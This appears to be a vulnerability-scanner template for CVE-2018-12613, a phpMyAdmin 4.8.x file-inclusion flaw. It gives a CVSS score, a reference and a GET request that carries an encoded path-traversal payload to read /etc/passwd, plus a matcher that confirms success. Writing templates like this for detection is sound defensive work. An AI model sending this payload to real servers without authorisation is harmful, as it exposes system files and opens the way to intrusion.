id: CVE-2018-12613 info: name: PhpMyAdmin 4.8.1 Remote File Inclusion author: pikpikcu severity: high description: An issue was discovered in phpMyAdmin 4.8.x before 4.8.2, in which an attacker can include (view and potentially execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the "$cfg['AllowArbitraryServer'] = true" case (where an attacker can specify any host he/she is already in control of, and execute arbitrary code on phpMyAdmin) and the "$cfg['ServerDefault'] = 0" case (which bypasses the login requirement and runs the vulnerable code without any authentication). reference: - https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2018-12613 cwe-id: CWE-287 tags: cve,cve2018,phpmyadmin,lfi requests: - method: GET path: - '{{BaseURL}}/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd' matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" part: body - type: status status: - 200
